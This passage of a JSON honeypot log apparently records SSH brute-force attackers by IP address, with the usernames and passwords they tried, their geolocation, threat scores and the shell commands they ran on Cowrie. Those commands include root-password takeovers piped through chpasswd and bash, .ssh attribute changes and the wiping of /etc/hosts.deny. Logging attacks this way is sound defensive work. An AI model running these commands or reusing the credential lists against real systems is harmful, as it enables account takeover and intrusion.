        "which ls",
        "whoami",
        "echo \"1234\\ntuaaVBaGTRPx\\ntuaaVBaGTRPx\\n\"|passwd",
        "echo \"adminuser\\n7aM9vretX5kV\\n7aM9vretX5kV\\n\"|passwd",
        "echo \"password\\nFsrXNsOofTYp\\nFsrXNsOofTYp\\n\"|passwd",
        "echo -e \"1234\\ntuaaVBaGTRPx\\ntuaaVBaGTRPx\"|passwd|bash",
        "echo -e \"adminuser\\n7aM9vretX5kV\\n7aM9vretX5kV\"|passwd|bash",
        "echo -e \"password\\nFsrXNsOofTYp\\nFsrXNsOofTYp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ober\u00e1",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:15:41.760000+00:00",
        "last_seen_30d": "2026-03-19T10:53:08.999000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 49
      }
    },
    "101.47.162.100": {
      "attack_count": 263,
      "first_seen": "2026-03-04T12:53:02.118Z",
      "last_seen": "2026-03-26T13:18:19.503Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "websphere",
        "fuzzer"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1221",
        "123456",
        "Q2w3e4r5",
        "QWEasd123!@#",
        "Woaini123",
        "a1231234",
        "a1387007",
        "newworld",
        "qweasdzxc123.",
        "websphere123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:BIJAGMcJbHu2\"|chpasswd|bash",
        "echo \"root:hGv5TatNLdeN\"|chpasswd|bash",
        "echo \"websphere123\\nd4twyVeeN20u\\nd4twyVeeN20u\\n\"|passwd",
        "echo -e \"websphere123\\nd4twyVeeN20u\\nd4twyVeeN20u\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:53:02.118000+00:00",
        "last_seen_30d": "2026-03-26T13:19:26.008000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 47
      }
    },
    "101.36.108.134": {
      "attack_count": 238,
      "first_seen": "2026-03-09T02:18:12.962Z",
      "last_seen": "2026-03-17T08:43:55.471Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sit",
        "superadmin",
        "allen",
        "cyber",
        "debian",
        "iptv",
        "james",
        "jhpark",
        "linux",
        "mailuser",
        "puppet",
        "rstudio",
        "student2",
        "teamcity",
        "tiger",
        "vastbase",
        "zhao"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Aa123456",
        "Allen123!",
        "Cyber123!",
        "Debian123!",
        "Lx123456",
        "iptv123",
        "jamespass",
        "jhparkpass",
        "linux",
        "password",
        "rstudio123!",
        "student2",
        "tiger123!",
        "ubuntu2026"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n3j0DBwGPNPz7\\n3j0DBwGPNPz7\\n\"|passwd",
        "echo \"123\\n6tExLKypXsw9\\n6tExLKypXsw9\\n\"|passwd",
        "echo -e \"12345678\\n3j0DBwGPNPz7\\n3j0DBwGPNPz7\"|passwd|bash",
        "echo -e \"123\\n6tExLKypXsw9\\n6tExLKypXsw9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:18:12.962000+00:00",
        "last_seen_30d": "2026-03-17T08:45:04.031000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "23.95.252.161": {
      "attack_count": 236,
      "first_seen": "2026-03-30T17:16:55.132Z",
      "last_seen": "2026-03-30T18:26:47.701Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1012",
        "123454",
        "12345678a",
        "Aa121212",
        "Apple@2026",
        "CC123456.",
        "Cart32_0711",
        "Pass@2026",
        "Q1w2e3!",
        "Support123!",
        "Vps@2024",
        "Ww@123456789",
        "Zr123456@",
        "ab1cd2ef3",
        "adminnimda",
        "c8h10n4o2",
        "qazplm",
        "snake123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:81EsnZ2D7fQj\"|chpasswd|bash",
        "echo \"root:FKyKMcnxakEY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T17:16:55.132000+00:00",
        "last_seen_30d": "2026-03-30T18:27:55.198000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "18.218.118.203": {
      "attack_count": 235,
      "first_seen": "2026-03-02T03:55:25.341Z",
      "last_seen": "2026-03-29T14:46:16.750Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12357,
        "days_active_30d": 30,
        "ports_targeted_30d": 176,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-03-02T03:14:31+00:00",
        "last_seen_30d": "2026-03-31T22:10:12.064000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8002,
        "Honeytrap": 3565,
        "Cowrie": 235,
        "Dionaea": 192,
        "ConPot": 114,
        "Redishoneypot": 99,
        "Mailoney": 83,
        "Ipphoney": 22,
        "Honeyaml": 16,
        "ElasticPot": 11,
        "CitrixHoneypot": 7,
        "Tanner": 7,
        "Ciscoasa": 2,
        "H0neytr4p": 2
      }
    },
    "110.238.110.251": {
      "attack_count": 191,
      "first_seen": "2026-03-03T18:15:20.947Z",
      "last_seen": "2026-03-03T18:42:20.188Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123$qweR",
        "1qazxsw2",
        "4815162342",
        "66666",
        "Admin2025!",
        "Bingo@1993",
        "Debian@1",
        "QQ@111111",
        "qweasdzxc",
        "qwert12345",
        "sangoma"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FhJIMksDmQZr\"|chpasswd|bash",
        "echo \"root:kTgHSvVKb3B1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:15:20.947000+00:00",
        "last_seen_30d": "2026-03-03T18:43:28.896000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "201.249.87.203": {
      "attack_count": 190,
      "first_seen": "2026-03-04T12:18:04.837Z",
      "last_seen": "2026-03-04T13:00:04.839Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qazZAQ!@",
        "Abcd@2024",
        "Asd123456.",
        "Bingo@1993",
        "Qq123456!@#",
        "Root@123",
        "abc123xyz",
        "ame#234rew",
        "osboxes.org",
        "qweQWE123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5SLk0Hv0bKU3\"|chpasswd|bash",
        "echo \"root:xpuVFNSAMLiM\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:18:04.837000+00:00",
        "last_seen_30d": "2026-03-04T13:01:15.287000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 190,
        "Suricata": 40
      }
    },
    "89.155.5.35": {
      "attack_count": 188,
      "first_seen": "2026-03-05T19:24:45.985Z",
      "last_seen": "2026-03-05T19:45:05.593Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "aman",
        "openeuler",
        "anders",
        "boom",
        "forge",
        "online",
        "portal",
        "qbtuser",
        "roots",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Aa123123",
        "Forge123!",
        "aman123",
        "boom123!",
        "openeuler123",
        "portalpass",
        "rootspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"aman123\\nhAKzOrkqwbP0\\nhAKzOrkqwbP0\\n\"|passwd",
        "echo \"openeuler123\\nkij6eOlousuy\\nkij6eOlousuy\\n\"|passwd",
        "echo -e \"aman123\\nhAKzOrkqwbP0\\nhAKzOrkqwbP0\"|passwd|bash",
        "echo -e \"openeuler123\\nkij6eOlousuy\\nkij6eOlousuy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Matosinhos Municipality",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:24:45.985000+00:00",
        "last_seen_30d": "2026-03-05T19:46:12.937000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 35
      }
    },
    "165.154.6.166": {
      "attack_count": 187,
      "first_seen": "2026-03-16T14:29:28.193Z",
      "last_seen": "2026-03-16T14:47:33.804Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rtest",
        "adminer",
        "apolo",
        "bert",
        "ceshi",
        "coder",
        "cody",
        "sansforensics"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Apolo123",
        "Fw123456@",
        "abc123!@#",
        "bert",
        "ceshi1234",
        "coder123!",
        "password",
        "rtest123",
        "sansforensicspass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:1PpHKTIvJXl8\"|chpasswd|bash",
        "echo \"rtest123\\nCUp8PCQHE8rv\\nCUp8PCQHE8rv\\n\"|passwd",
        "echo -e \"rtest123\\nCUp8PCQHE8rv\\nCUp8PCQHE8rv\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:29:28.193000+00:00",
        "last_seen_30d": "2026-03-16T14:48:34.559000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "128.14.225.164": {
      "attack_count": 168,
      "first_seen": "2026-03-27T21:10:21.853Z",
      "last_seen": "2026-03-27T22:40:45.107Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "110110",
        "1Qaz2Wsx@123",
        "3245gs5662d34",
        "345gs5662d34",
        "456RTYfghVBN",
        "Admin!123456",
        "CeIt@2025",
        "Football123",
        "Hh123456@",
        "Monster@123",
        "Pa$$w0rd1234",
        "Pass123$%^",
        "aa12345678",
        "dell.123",
        "idcicp123,",
        "lg123456",
        "qwer.1234",
        "redhat123456",
        "wangjie",
        "xyz@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:UprPMgBunHTo\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:10:21.853000+00:00",
        "last_seen_30d": "2026-03-27T22:41:45.570000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "152.32.171.213": {
      "attack_count": 163,
      "first_seen": "2026-03-16T08:56:17.864Z",
      "last_seen": "2026-03-16T09:24:49.809Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "prashant",
        "345gs5662d34",
        "central",
        "github-runner",
        "intel",
        "jirka",
        "mata",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "central123!",
        "github-runner123",
        "jirkapass",
        "newton",
        "prashant1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\naQUucDX5w2Pf\\naQUucDX5w2Pf\\n\"|passwd",
        "echo \"prashant1234\\nv93m0NICtYWC\\nv93m0NICtYWC\\n\"|passwd",
        "echo -e \"12345678\\naQUucDX5w2Pf\\naQUucDX5w2Pf\"|passwd|bash",
        "echo -e \"prashant1234\\nv93m0NICtYWC\\nv93m0NICtYWC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T08:56:17.864000+00:00",
        "last_seen_30d": "2026-03-16T09:25:59.348000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 23
      }
    },
    "161.132.125.166": {
      "attack_count": 123,
      "first_seen": "2026-03-03T12:09:53.293Z",
      "last_seen": "2026-03-03T12:42:49.191Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0okm(IJN8uhb",
        "123123as",
        "123456qw",
        "1324",
        "1a2b3c",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@12345",
        "Bingo@1993",
        "Mx123456.",
        "Qaz112233",
        "chen",
        "qwerty1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:flFXKdTSQNjV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 27843,
      "as_org": "WIN EMPRESAS S.A.C.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:09:53.293000+00:00",
        "last_seen_30d": "2026-03-03T12:43:51.394000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "5.253.59.68": {
      "attack_count": 123,
      "first_seen": "2026-03-04T16:53:52.820Z",
      "last_seen": "2026-03-04T17:20:33.137Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123258",
